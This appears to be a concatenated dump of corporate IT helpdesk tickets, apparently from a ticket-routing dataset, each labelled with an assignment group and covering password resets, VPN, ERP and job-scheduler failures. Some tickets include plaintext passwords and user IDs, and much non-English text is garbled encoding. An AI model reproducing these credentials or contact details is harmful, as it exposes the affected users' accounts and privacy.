save it and minimize it i can't open it back up. i have had to restart the computer and
open excel again to get to the worksheet. this has happened twice. do you have any ideas i could try?
, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset, Description: from: nwfodmhc exurcwkm \_x000D\_
sent: wednesday, august 24, 2016 8:11 pm\_x000D\_
to: 'frederirtck.gtehdnyu@company.com'\_x000D\_
cc: tiyhum kuyiomar\_x000D\_
subject: request to reset microsoft online services password for frederirtck.gtehdnyu@company.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
please change your password in : \_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: usa print check, Description: usa print check, is assigned to Assignment group: GRP\_15.Ticket with Short description: urgent: only the highlighted (attachment) are showing up in 'my active accounts' in crm, Description: only the highlighted (attachment) are showing up in 'my active accounts' in crm
phone; 309, is assigned to Assignment group: GRP\_40.Ticket with Short description: HostName\_145 (erp SID\_28): volume: /dev/hd3 on server is over 85% space consumed. space available: 257mb, Description: HostName\_145 (erp SID\_28): volume: /dev/hd3 on server is over 85% space consumed. space available: 257mb, is assigned to Assignment group: GRP\_47.Ticket with Short description: job Job\_1953b failed in job\_scheduler at: 08/24/2016 10:24:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1953b failed in job\_scheduler at: 08/24/2016 10:24:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: outlook is continuously asking for password., Description: outlook is continuously asking for password., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to attach a document in erp, Description: unable to attach a document in erp, is assigned to Assignment group: GRP\_0.Ticket with Short description: netweaver is locked out., Description: netweaver is locked out., is assigned to Assignment group: GRP\_0.Ticket with Short description: account unlock, Description: account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: telephony\_software software not configured, Description: telephony\_software software not configured, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on ticket\_no0432827, Description: ticket update on ticket\_no0432827, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to log in to skype, Description: cleared skype cache files , is assigned to Assignment group: GRP\_0.Ticket with Short description: unknown request for guest wireless access, Description: hello,\_x000D\_
i had never used the guest wireless access system before. today when i entered, i saw an entry in pending accounts which i'm not familiar with (please check the attached screenshot). can this be a security threat? can you please investigate?\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: fi/co issue - sto 5019143086 , Description: please review sto 5019143086 . user is receiving the error message below to "please enter net price". there is no average customer net price for this material (vk13 - ztfn), so erp should be simulating a transfer price for the material but it does not appear to be doing so. \_x000D\_
\_x000D\_
\_x000D\_
sender reciever material created quantity requsted quantity sto number error code\_x000D\_
plant\_105 plant\_101 2355391 3 please enter net price\_x000D\_
, is assigned to Assignment group: GRP\_29.Ticket with Short description: install engineering\_tool, Description: install engineering\_tool, is assigned to Assignment group: GRP\_0.Ticket with Short description: der netweaver business client 5.0 kann nicht gestartet werden., Description: der netweaver business client 5.0 kann nicht gestartet werden., is assigned to Assignment group: GRP\_0.Ticket with Short description: EU\_tool -> sinterleitstand (sls) -> beilageproben -> auswerten, form "beilage und tms proben", input of ald2 and ald3 data, Description: currently it is impossible to enter data of cycles of the following the furnaces: ald2 and ald3\_x000D\_
\_x000D\_
same as - ticket\_no0414688, is assigned to Assignment group: GRP\_25.Ticket with Short description: erp SID\_34 account unlock and password reset, Description: erp SID\_34 account unlock and password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: account getting locked on windows , Description: account getting locked on windows , is assigned to Assignment group: GRP\_0.Ticket with Short description: supply\_chain\_software password reset, Description: supply\_chain\_software password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: lunch rm computer down, Description: the employee computer in mfg #1 lunch rm. is down, is assigned to Assignment group: GRP\_3.Ticket with Short description: delivery notes - unable to inwarehouse\_tool four deliveries. error indicates a block. no block on orders, Description: deliveries mentioned below are not invoicing. try to do it manual under vf01. errors were: the billing type could not be determined, block for billing, the item is not relevant for billing. \_x000D\_
9168911759\_x000D\_
8057800533\_x000D\_
9168911663\_x000D\_
8057800653\_x000D\_
9168911772\_x000D\_
8057800687\_x000D\_
9165515998\_x000D\_
\_x000D\_
need resolved before month end. any questions please contact ibtvlfah dtlwscma 479-633-6608, is assigned to Assignment group: GRP\_13.Ticket with Short description: HostName\_108 (plm conversion server - kirty): alwaysupservice.exe process count service is down , Description: HostName\_108 (plm conversion server - kirty): alwaysupservice.exe process count service is down , is assigned to Assignment group: GRP\_14.Ticket with Short description: unable to access n drive , Description: unable to access n drive , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1314 failed in job\_scheduler at: 08/24/2016 08:45:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1314 failed in job\_scheduler at: 08/24/2016 08:45:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: background jobs in erp inbox will not export into excell after gui upgrade, Description: sa38 reports that are scheduled to run as a background job, show up in the erp inbox. they allow you to open them and show the data is transmitted. however, excell hangs up and no data shows. this did not occur until the upgrade occurred. i have already logged totally out of erp and logged in again to see if that correct the situation with no success, is assigned to Assignment group: GRP\_0.Ticket with Short description: attendance\_tool intouch clocks - shows as down in application, Description: attendance\_tool intouch clocks - shows as down in application, is assigned to Assignment group: GRP\_4.Ticket with Short description: keine verbindung zum server, Description: keine verbindung zum server, kein zugriff auf laufwerke in germany, is assigned to Assignment group: GRP\_0.Ticket with Short description: laptop crash, Description: laptop crash, is assigned to Assignment group: GRP\_0.Ticket with Short description: Israel, israel - (company):company-eu-isr--mainswitch-b-3560-access-sw02 is down since at 08:11 am et on 08/24, Description: EMEA, israel - (company):company-eu-isr--mainswitch-b-3560-access-sw02 is down since at 08:11 am et on 08/24, is assigned to Assignment group: GRP\_8.Ticket with Short description: server for public folder in germany is not available, Description: \\HostName\_598\public is not available.\_x000D\_
is there are new server name for germany or just an network issue?\_x000D\_
when could this be solved?, is assigned to Assignment group: GRP\_0.Ticket with Short description: tengigabitethernet1/5 Â· connection to tech-4500x (a) - (10.1.200.2) is down on top-6509-msfc720., Description: tengigabitethernet1/5 Â· connection to tech-4500x (a) - (10.1.200.2) is down on top-6509-msfc720., is assigned to Assignment group: GRP\_4.Ticket with Short description: completed order 32079269 form 2014 for vw is visible on md04, mm 3967345, Description: hello,\_x000D\_
there is completed order 32079269 form 2014 for vw visible on md04, mm 4078456, please see attachments., is assigned to Assignment group: GRP\_6.Ticket with Short description: audio not working laptop - error no device installed error, Description: computer name : agvl8325581
service tag : j6gqbt1
phone: 05450, is assigned to Assignment group: GRP\_33.Ticket with Short description: collaboration\_platform is not openning., Description: collaboration\_platform is not openning., is assigned to Assignment group: GRP\_0.Ticket with Short description: folder access, Description:
received from: qhvspezr.fvluqczd@gmail.com
hi
please get tghrloks jbgcvlmf tghrloks.jbgcvlmf@gmail.com<mailto:tghrloks.jbgcvlmf@gmail.com> ( user id : nuerthytzg ) access to below folder location .
\\HostName\_95\teams\globalengservices\9tcb\_nc\<file:///\\HostName\_95\teams\globalengservices\9tcb\_nc\>
with warm , is assigned to Assignment group: GRP\_12.Ticket with Short description: reparo pdf creator, Description: favor reparar o pdf creator, quando vou imprimir o recibo da gia sp em pdf estÃ¡ saindo somente caracteres., is assigned to Assignment group: GRP\_62.Ticket with Short description: top urgent request les team: change back kis inwarehouse\_tool sender address of sales orgr 1278 from germany to fÃ¼rth, Description: subject: wrong address on kis inwarehouse\_tools for salsed org 1278\_x000D\_
importance: high\_x000D\_
\_x000D\_
kis commercial inwarehouse\_tools for sales org 1278 print wrong sender address, which cause legal compliance error with german customs. \_x000D\_
revers 1278 sales org address to company infrastruture gmbh, wehlauerstr. 73, 90766 germany today!!!\_x000D\_
\_x000D\_
please confrim estimated time of change in SID\_34 system aspap. \_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: job SID\_41arc2 failed in job\_scheduler at: 08/24/2016 07:04:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_41arc2 failed in job\_scheduler at: 08/24/2016 07:04:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job SID\_41arc2 failed in job\_scheduler at: 08/24/2016 07:04:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_41arc2 failed in job\_scheduler at: 08/24/2016 07:04:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: not able to save files on HostName\_776, Description: not able to save files on HostName\_776. there were reporting reports to be saved., is assigned to Assignment group: GRP\_0.Ticket with Short description: job SID\_26arc2 failed in job\_scheduler at: 08/24/2016 06:58:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_26arc2 failed in job\_scheduler at: 08/24/2016 06:58:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_1953a failed in job\_scheduler at: 08/24/2016 06:52:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1953a failed in job\_scheduler at: 08/24/2016 06:52:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: vpn not accepting password, Description: \_x000D\_
\_x000D\_
received from: vfoyenlw.ntpbdeyf@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
i am unable to login vpn.\_x000D\_
it's showing user name and password not matching. it is not accepting my current password.\_x000D\_
\_x000D\_
i checked the password and it is okay.\_x000D\_
\_x000D\_
please help me to resolve the issue.\_x000D\_
\_x000D\_
with , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1953a failed in job\_scheduler at: 08/24/2016 06:52:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1953a failed in job\_scheduler at: 08/24/2016 06:52:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: job Job\_714 failed in job\_scheduler at: 08/24/2016 06:53:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_714 failed in job\_scheduler at: 08/24/2016 06:53:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: HostName\_521: alwaysupservice.exe: wrong number of instances of process alwaysupservice.exe, , Description: HostName\_521: alwaysupservice.exe: wrong number of instances of process alwaysupservice.exe, expected instances gte 5 but found 4, is assigned to Assignment group: GRP\_14.Ticket with Short description: job SID\_44arc2 failed in job\_scheduler at: 08/24/2016 06:31:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_44arc2 failed in job\_scheduler at: 08/24/2016 06:31:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job SID\_35arc2 failed in job\_scheduler at: 08/24/2016 06:22:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_35arc2 failed in job\_scheduler at: 08/24/2016 06:22:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: cert notification - network outage at germany (formerly germany), Description: what is the issue? unplanned network outage at germany site (formerly germany) - all network resources including telephony\_software services, and the phone number for gso emea () are unavailable at the moment. a fiber cut in the vicinity of the site has caused the issue. german telekom has been contacted after the fault was identified, and services are expected to be restored at 7:30 am edt.
when did it start? 24 august 2016, 3:30 am edt
what is the estimated time to recovery? unknown at this time.
who and what are affected? all intranet and internet resources including telephone services at the site are affected
are there any known workarounds? no workarounds available at the moment.
what is the cause? suspected fiber cut
questions? global service organization
a leadership bridge line has been established in order to provide more timely updates to you. this line is open to all business unit representatives, as well as, it management.
leadership bridge line will be open at 6:55 am edt
leadership bridge line
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_3049 failed in job\_scheduler at: 08/24/2016 06:17:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3049 failed in job\_scheduler at: 08/24/2016 06:17:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job SID\_23arc2 failed in job\_scheduler at: 08/24/2016 06:15:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_23arc2 failed in job\_scheduler at: 08/24/2016 06:15:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job SID\_31arc2 failed in job\_scheduler at: 08/24/2016 06:09:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_31arc2 failed in job\_scheduler at: 08/24/2016 06:09:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job SID\_31arc2 failed in job\_scheduler at: 08/24/2016 06:09:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_31arc2 failed in job\_scheduler at: 08/24/2016 06:09:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: no access to bobs, Description: \_x000D\_
\_x000D\_
received from: ufebvyzx.gzahomlv@gmail.com\_x000D\_
\_x000D\_
hello , i have no accesss to bobj\_x000D\_
\_x000D\_
need help\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: interface fastethernet0/27-vlan 51-lhqwx402189sf on company-na-usa-usa-switch-cl04-3-2960-access-sw03 is down, Description: interface fastethernet0/27-vlan 51-lhqwx402189sf on company-na-usa-usa-switch-cl04-3-2960-access-sw03 is down, is assigned to Assignment group: GRP\_8.Ticket with Short description: zugriff auf netzlaufwerke, Description: \_x000D\_
\_x000D\_
received from: sthqwdpj.lpnigfyq@gmail.com\_x000D\_
\_x000D\_
hallo,\_x000D\_
\_x000D\_
seit dem ich mein passwort geÃ¤ndert habe, habe ich keinen zugriff auf die netzlaufwerke.\_x000D\_
vpn funktioniert glaube ich nicht richtig.\_x000D\_
\_x000D\_
danke fÃ¼r ihre unterstÃ¼tzung.\_x000D\_
\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen | best , is assigned to Assignment group: GRP\_0.Ticket with Short description: login error, Description: \_x000D\_
\_x000D\_
received from: nbdljruw.axcrspyh@gmail.com\_x000D\_
\_x000D\_
hallo zusammen,\_x000D\_
\_x000D\_
beim einloggen mit dem password\_management\_tool password manager, wurde mir das konto erneut gesperrt.\_x000D\_
bitte erneut freischalten & ein gÃ¼ltiges password zur anmeldung.\_x000D\_
mir war nicht klar welches password ich verwenden soll.\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update - inplant\_852115, Description: ic\_x000D\_
welcome, our next available agent will be with you shortly...\_x000D\_
interaction alerting agent.\_x000D\_
website visitor has joined the conversation\_x000D\_
zheqafyo bqirpxag\_x000D\_
hi\_x000D\_
ayrhcfxi zartupsw\_x000D\_
hello paneer\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: we need to change the title for cuibfgna cbmqufoa in outlook to production manager, can you do this ? , Description: we need to change the title for cuibfgna cbmqufoa in outlook to production manager, can you do this ? , is assigned to Assignment group: GRP\_2.Ticket with Short description: distributor\_tool Ã¼berblick / schulung, Description: hallo\_x000D\_
danke fÃ¼r ihre antwort.\_x000D\_
ich habe gerade versucht aber es funktioniert nicht.\_x000D\_
ich habe versucht mit demselben benutz-namen und password das ich fÃ¼r SID\_34 benutz.\_x000D\_
ich habe auch mit password daypay3 versucht, wie hbmwlprq ilfvyodx vorgeschlafen hat.\_x000D\_
welches passwort sollte ich benutzen?\_x000D\_
\_x000D\_
\_x000D\_
distinti saluti / mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_0.Ticket with Short description: issue with attendance\_tool, Description: \_x000D\_
\_x000D\_
received from: bajrpckl.cevtiuob@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
i am not able to login into attendance\_tool website and also it is not available on the hub for me.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: material in q for complaints shipped to dfrt going into normal bin, Description: we are having an issue with materials from complaints coming from other locations to plant\_105.\_x000D\_
very often â€“ they are in q, but go to a normal bin. as the q is not printed on the transfer order\_x000D\_
the receivers place them into our normal bin locations..\_x000D\_
\_x000D\_
examples are delivery 9168844172 for complaint 7611181872\_x000D\_
\_x000D\_
could you pls. check why the material does not go to a q bin location automatically? \_x000D\_
\_x000D\_
pls. assign to les team , is assigned to Assignment group: GRP\_18.Ticket with Short description: exel file is not openning as the default programdntym to open with is changed., Description: exel file is not openning as the default programdntym to open with is changed., is assigned to Assignment group: GRP\_0.Ticket with Short description: installing cutview , Description: installing cutview , is assigned to Assignment group: GRP\_66.Ticket with Short description: probleme mit vpn stÃ¶hrmann \niptbwdq csenjruz, Description: probleme mit vpn stÃ¶hrmann \niptbwdq csenjruz, is assigned to Assignment group: GRP\_24.Ticket with Short description: add user nuksytoh whovmtez (sbcheyu) to ad group eagcutview, Description: add user nuksytoh whovmtez (sbcheyu) to ad group eagcutview, is assigned to Assignment group: GRP\_0.Ticket with Short description: no email synchro after windows 10 update on my lumia 950, Description: \_x000D\_
\_x000D\_
received from: bmudkpie.qolrvbip@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
yesterday i installed the new windows 10 update on my lumia 950 and now the emails are not synchronized.\_x000D\_
\_x000D\_
will be available in the afternoon, just in case you need me.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: probleme mit schichtplanung \xpugntjv zcaermdt, Description: probleme mit schichtplanung \xpugntjv zcaermdt, is assigned to Assignment group: GRP\_24.Ticket with Short description: sales order 35944817: committed date = sunday, Description: hello it,\_x000D\_
\_x000D\_
please check, why the system allows a sundaycommitted date.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: your company guest account credentials, Description: wie kann ich die gÃ¤ste freischalten ?\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen i kind , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1388 failed in job\_scheduler at: 08/24/2016 02:44:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1388 failed in job\_scheduler at: 08/24/2016 02:44:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: not able to open powerpoint, Description: \_x000D\_
\_x000D\_
received from: tpflxnhz.bdjiosrp@gmail.com\_x000D\_
\_x000D\_
hi it helpdesk,\_x000D\_
\_x000D\_
i am not able to open powerpoint slides. when asked to repair, there is an error message after clicking on "repair". please help.\_x000D\_
\_x000D\_
[cid:image001.png@01d1fe14.3da01f40]\_x000D\_
\_x000D\_
[cid:image002.png@01d1fe14.3da01f40]\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: probleme mit archiving\_tool\bfqnvezs vwkasnxe, Description: probleme mit archiving\_tool\bfqnvezs vwkasnxe, is assigned to Assignment group: GRP\_24.Ticket with Short description: probleme mit erpgui \sqlmtixr urhbvfgd, Description: probleme mit erpgui \sqlmtixr urhbvfgd, is assigned to Assignment group: GRP\_24.Ticket with Short description: probleme mit java \xmlbfjpg yegzbvru, Description: probleme mit java \xmlbfjpg yegzbvru, is assigned to Assignment group: GRP\_24.Ticket with Short description: error log on vpn server, Description: \_x000D\_
\_x000D\_
received from: nbdljruw.axcrspyh@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
i can not log in on vpn server. please reset my password.\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: request for access to server HostName\_1036 and HostName\_1039 (xkjuigsc nrzykspt and quality), Description: with respect to ticket\_no1543729, i have received an access from security team but when i open data designer application receiving an error as attached to this incident.
i have checked with mohgrtyan's rds session for dev bods and the data designer is working fine in his session. hence, request assist at an earliest as this access is required for my kt to our upcoming project.
could you please help on this request?, is assigned to Assignment group: GRP\_2.Ticket with Short description: ticket update on ticket\_no1544198 from wqfzjycu omleknjd, Description: ticket update on ticket\_no1544198 from wqfzjycu omleknjd, is assigned to Assignment group: GRP\_0.Ticket with Short description: please move stock from sales order to unrestricted stock\_mm# 7318995 = 40 pcs., Description: please move stock from sales order to unrestricted stock\_mm# 7318995 = 40 pcs. due to csr is not allowed to do stock movement. kindly help and advise back to us aerp., , is assigned to Assignment group: GRP\_6.Ticket with Short description: messsgeraete alkoana pdf datein kann nicht gedureckt werden, Description: messsgeraete alkoana pdf datein kann nicht gedureckt warden. pdf datei kann nicht erstellt werden., is assigned to Assignment group: GRP\_42.Ticket with Short description: account lock out ; ad, Description: account lock out ; ad, is assigned to Assignment group: GRP\_0.Ticket with Short description: engineering\_tool, business\_client, vpn and engineering\_tool issue, Description: engineering\_tool, business\_client, vpn and engineering\_tool issue, is assigned to Assignment group: GRP\_0.Ticket with Short description: engineering tool loin, Description: engineering tool loin, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook is prompting for passwords again & again , Description: outlook is prompting for passwords again & again , is assigned to Assignment group: GRP\_0.Ticket with Short description: need your support , Description:
received from: ehfvwltg.eakjbtoi@gmail.com
helloï¼Œ
material noï¼š
6380772
6380773
6205289
6205222
6205223
6205282
6719653
4003367
4003579
4003535
can not use in purchasing , please help.
ehfvwltg eakjbtoi
analyst supply planning
e-mail: ehfvwltg.eakjbtoi@gmail.com<mailto:ehfvwltg.eakjbtoi@gmail.com>
æœ¬è®¯æ¯ä»…ä¾›æŒ‡å®šçš„æŽ¥æ”¶äººä½¿ç”¨ï¼Œå…¶ä¸­å¯èƒ½åŒ…å«é€‚ç”¨æ³•å¾‹é¡¹ä¸‹ç‰¹è®¸çš„ã€ä¿å¯†çš„å’Œç¦æ­¢æŠ«éœ²çš„å†…å®¹ã€‚é™¤æŒ‡å®šçš„æŽ¥æ”¶äººå¤–ï¼Œä¸¥ç¦å…¶ä»–ä»»ä½•äººä¼ æ’­ã€åˆ†å‘æˆ–å¤åˆ¶æœ¬è®¯æ¯ã€‚å¦‚æžœæ‚¨è¯¯æ”¶åˆ°æœ¬è®¯æ¯ï¼Œè¯·é€šçŸ¥å‘ä»¶äººå¹¶å°†è®¯æ¯åˆ é™¤ã€‚
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æœ¬è®¯æ¯ä»…ä¾›æŒ‡å®šçš„æŽ¥æ”¶äººä½¿ç”¨ï¼Œå…¶ä¸­å¯èƒ½åŒ…å«é€‚ç”¨æ³•å¾‹é¡¹ä¸‹ç‰¹è®¸çš„ã€ä¿å¯†çš„å’Œç¦æ­¢æŠ«éœ²çš„å†…å®¹ã€‚é™¤æŒ‡å®šçš„æŽ¥æ”¶äººå¤–ï¼Œä¸¥ç¦å…¶ä»–ä»»ä½•äººä¼ æ’­ã€åˆ†å‘æˆ–å¤åˆ¶æœ¬è®¯æ¯ã€‚å¦‚æžœæ‚¨è¯¯æ”¶åˆ°æœ¬è®¯æ¯ï¼Œè¯·é€šçŸ¥å‘ä»¶äººå¹¶å°†è®¯æ¯åˆ é™¤ã€‚
[
select the following link to view the disclaimer in an alternate language. , is assigned to Assignment group: GRP\_29.Ticket with Short description: wifi for company guest issue in apac.refer :inc1541551 , Description: it,\_x000D\_
\_x000D\_
please kindly help resolve this ticket again. wifi for company guest very slowly. please advise the solution to fix it.\_x000D\_
by the way, please find attached wifi package in apac office that domestic 10 mbps, international 2 mbps. (users about 20 pax in office)\_x000D\_
please kindly suggestion if need package change for i can check other packages with local internet provider vendor.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_4.Ticket with Short description: received call , hold music was playing on other side and disconnected., Description: received call , hold music was playing on other side and disconnected., is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_3028 failed in job\_scheduler at: 08/24/2016 00:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3028 failed in job\_scheduler at: 08/24/2016 00:02:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_3028 failed in job\_scheduler at: 08/24/2016 00:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3028 failed in job\_scheduler at: 08/24/2016 00:02:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_3028 failed in job\_scheduler at: 08/24/2016 00:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3028 failed in job\_scheduler at: 08/24/2016 00:02:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_3028 failed in job\_scheduler at: 08/24/2016 00:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3028 failed in job\_scheduler at: 08/24/2016 00:02:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_3028 failed in job\_scheduler at: 08/24/2016 00:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3028 failed in job\_scheduler at: 08/24/2016 00:02:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: price error between goods receipt and po in SID\_34 -urgent, Description: \_x000D\_
\_x000D\_
received from: tuqrvowp.fxmzkvqo@gmail.com\_x000D\_
\_x000D\_
dear team,\_x000D\_
\_x000D\_
in erp SID\_34 module. we have two errors between goods receipt and po for po no 5616658599\5616715766\_x000D\_
po no\_x000D\_
\_x000D\_
po net price\_x000D\_
\_x000D\_
po quantity\_x000D\_
\_x000D\_
po price\_x000D\_
\_x000D\_
goods receipt price\_x000D\_
\_x000D\_
5616658599\_x000D\_
\_x000D\_
256.41\_x000D\_
\_x000D\_
3\_x000D\_
\_x000D\_
769.23\_x000D\_
\_x000D\_
900\_x000D\_
\_x000D\_
5616715766\_x000D\_
\_x000D\_
2641.51\_x000D\_
\_x000D\_
1\_x000D\_
\_x000D\_
2641.51\_x000D\_
\_x000D\_
2393.16\_x000D\_
\_x000D\_
\_x000D\_
usually, po price and goods receipt price are the same price. but these two cases is not.\_x000D\_
please help to have a check the reason. , is assigned to Assignment group: GRP\_29.Ticket with Short description: account locked out ; password expired, Description: account locked out ; password expired, is assigned to Assignment group: GRP\_0.Ticket with Short description: no response from other side, Description: no response from other side, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp login account is locked, Description: requesting to unlock erp login account, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_3028 failed in job\_scheduler at: 08/23/2016 22:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3028 failed in job\_scheduler at: 08/23/2016 22:02:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: email address not picking up automatic , Description: email address not picking up automatic , is assigned to Assignment group: GRP\_0.Ticket with Short description: would you please help change the email of shipping notification for customer 81956102,70213753,81583828 to 13332407521@1, Description: from: north service
sent: wednesday, august 24, 2016 6:43 am
to: nwfodmhc exurcwkm
subject: tru : ç­”å¤: å‡ºè´§å•çš„é‚®ä»¶ä¿®æ”¹
hello help,
would you please help change the email of shipping notification for customer 81956102,70213753,81583828 to 13332407521@163.com
yandy pan
customer experience apac north team
north.service@company.com
è‚¯çº³é£žç¡•é‡‘å±žï¼ˆä¸Šæµ·ï¼‰æœ‰é™å…¬å¸
ä¸Šæµ·å¸‚æµ¦ä¸œæ–°åŒºé‡‘æ¡¥å‡ºå£åŠ å·¥åŒºé‡‘è±«è·¯750å·
é‚®ç¼–ï¼š200126
, is assigned to Assignment group: GRP\_18.Ticket with Short description: unable to login to erp SID\_34, Description: unable to login to erp SID\_34, is assigned to Assignment group: GRP\_0.Ticket with Short description: pls help to create delivery note for sto 4908029423, Description: \_x000D\_
\_x000D\_
received from: gjtyswkb.dpvaymxr@gmail.com\_x000D\_
\_x000D\_
dear it,\_x000D\_
\_x000D\_
would you pls help to create delivery note for sto 5019130534,for something error we unable to create, it's urgent for plant\_298. , is assigned to Assignment group: GRP\_6.Ticket with Short description: æ¶‚å±‚ã€ç®¡ä¸è½¦é—´ç”µè¯æ•…éšœ, Description: æ¶‚å±‚ã€ç®¡ä¸è½¦é—´ç”µè¯æ•…éšœï¼Œ40634943ã€39523835, is assigned to Assignment group: GRP\_48.Ticket with Short description: ç½‘ç»œä¸é€š, Description: ç½‘ç»œä¸é€šï¼Œå³ä¸‹è§’ç½‘ç»œå›¾æ ‡æ˜¾ç¤ºæœªè¿žæŽ¥åˆ°ç½‘ç»œã€‚, is assigned to Assignment group: GRP\_48.Ticket with Short description: inc1544491 fwd: collaboration\_platform, Description: \_x000D\_
\_x000D\_
received from: mdbegvct.dbvichlg@gmail.com\_x000D\_
\_x000D\_
i tried opening a discount on my phone and it appears to want me to download this ap on my phone. is that ok?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: ms excel file not opening -error procted view -file hangs., Description: ms excel file not opening -error procted view -file hangs.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-unchecked the proctected view option.\_x000D\_
-caller confirmed that he was able to ope the excel files now.\_x000D\_
-issue resolved.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: this morning i could not log in to my computer so, please lock out my computer., Description: this morning i could not log in to my computer so, please lock out my computer.\_x000D\_
id omokam\_x000D\_
ps mizumoto2\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: user unable to hotel wi-fi , Description: user unable to hotel wi-fi \_x000D\_
-advised the user to shut down the pc for 30 sec and restart the device.\_x000D\_
-opened network and shatryung center and enabled the wi-fi connection.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: symantec endpoint encryption (see) agent deployment, Description: \_x000D\_
\_x000D\_
received from: hkrecpfv.kgwpbexv@gmail.com\_x000D\_
\_x000D\_
hello. i don't believe my computer has downloaded the new symantec endpoint encryption (see) agent. should i be concerned yet? the received the email about it almost a month ago.\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_65.Ticket with Short description: wfnbtpkg ixecamwrs email : inplant\_843772, Description:
received from: oetlgbfw.bsctrnwp@gmail.com
i had marftgytins emails being filtered to myself and it was removed
i still have emails being sent to marftgytin instead of myself and i need his emails reset up in my outlook
dthyan matheywtyuews
sales manager gl2
